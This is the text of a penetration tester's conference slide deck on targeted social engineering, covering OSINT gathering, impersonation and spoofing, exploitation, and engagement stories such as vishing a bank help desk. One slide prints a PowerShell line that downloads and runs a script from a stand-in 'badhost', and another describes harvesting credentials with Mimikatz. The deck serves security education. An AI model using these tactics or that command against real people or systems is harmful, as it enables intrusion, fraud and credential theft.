SOCIAL IMAGINEERING Hello. Aloha. Hola. Konnichiwa. Ciao. Bonjour. - PowerPoint PPT Presentation

SOCIAL IMAGINEERING Hello. Aloha. Hola. Kon’nichiwa. Ciao. Bonjour. Crafting Targeted Social Engineering Attacks leapsecurity.io @LeapSecurity LEAP SECURITY Confidential. Not to be copied, distributed or reproduced without prior written approval.

Ex Experience • Founder of Leap Security Inc. • Security Consultant/Penetration Tester • Forensic Analyst Pu Publica cations • Featured on security magazines • Hackin9, Pentest Magazine, ACAMS Sp Speaker • Conferences across the nation Tools To • InSpy, Pastepwnd, CredCrack @jonathanbroche @LeapSecurity leapsecurity.io // //

Social Engineering @jonathanbroche @LeapSecurity leapsecurity.io // //

Definition • The act of manipulating an individual(s) to obtain X • X is an object or information @jonathanbroche @LeapSecurity leapsecurity.io // //

What’s changed? • Education • Awareness (sorta) • It’s gotten easier for the bad guys too. • Don’t speak English? No problem. • Services to proof read and spell check malicious phishing emails • Not tech savvy? No problem. • Exploit and Ransomware Kits being sold for $500 @jonathanbroche @LeapSecurity leapsecurity.io // //

Attack Methodology Information Gathering Attack Exploitation Preparation @jonathanbroche @LeapSecurity leapsecurity.io // //

Attack Methodology (Cont.) • Information Gathering Information • Google, Bing, Shodan Gathering • Social Media – LinkedIn/Twitter/Facebook • Metadata • Surveillance (Physical Intel) Attack Exploitation Preparation @jonathanbroche @LeapSecurity leapsecurity.io // //

Attack Methodology (Cont.) • OSINT Favorites • HaveIBeenPwn • https://haveibeenpwned.com/ • OSINT Framework • https://osintframework.com/ • Intel Tools • https://inteltechniques.com/ • Dragnet • https://github.com/tevora- threat/Dragnet @jonathanbroche @LeapSecurity leapsecurity.io // //

Pastepwnd Demo https://github.com/leapsecurity/Pastepwnd @jonathanbroche @LeapSecurity leapsecurity.io // //

Attack Methodology (Cont.) • Attack Preparation Information • Get to know your target Gathering • Pick a persona to impersonate • Obtain target email signature • Build, Buy, or Prepare Tools • Spoof Services • Circumvent defensive technologies Attack Exploitation • Entice users with rewards Preparation @jonathanbroche @LeapSecurity leapsecurity.io // //

@jonathanbroche @LeapSecurity leapsecurity.io // //

InSpy Demo https://github.com/leapsecurity/InSpy @jonathanbroche @LeapSecurity leapsecurity.io // //

Attack Methodology (Cont.) • Exploitation Information • Slow and steady Gathering • Lateral movement • Sensitive data or objective • Exfiltration Attack Exploitation Preparation @jonathanbroche @LeapSecurity leapsecurity.io // //

Common Exploit Techniques • HTA – HTML Applications can be embedded on website • Macros • Executables @jonathanbroche @LeapSecurity leapsecurity.io // //

Common Exploit Techniques (Cont.) • PowerShell • IEX (New-Object Net.WebClient). DownloadString ('http://badhost/hackerscript.ps1’) • C# • Visual Basic @jonathanbroche @LeapSecurity leapsecurity.io // //

PS DownloadString functionality example • Logged into workstations via SMB • Use PowerShell script in memory to capture cleartext credentials using Mimikatz (Wdigest) • Until it found a domain administrator account @jonathanbroche @LeapSecurity leapsecurity.io // //

Example: Vishing • Targeted Customer Service Representatives within the Bank • Impersonated contractor working with help desk • Obtained help desk extension • Discovered MobileIron • Called Help Desk and obtained AD account @jonathanbroche @LeapSecurity leapsecurity.io // //

Example: Spear Phishing • Custom website (HTML, CSS, JS, PHP) • Rebrand scenario @jonathanbroche @LeapSecurity leapsecurity.io // //

Example: Physical Test • Cold brrr, no snow brush • Responder, cracked NTLM hashes • Became friends with security guard • Became best friends with employee and got a tour of the facility @jonathanbroche @LeapSecurity leapsecurity.io // //

Closing and Questions @jonathanbroche @LeapSecurity leapsecurity.io // //

Hello. Aloha. Hola. Kon’nichiwa. Ciao. Bonjour. Thank you!!! @jonathanbroche @LeapSecurity leapsecurity.io // // LEAP SECURITY Confidential. Not to be copied, distributed or reproduced without prior written approval.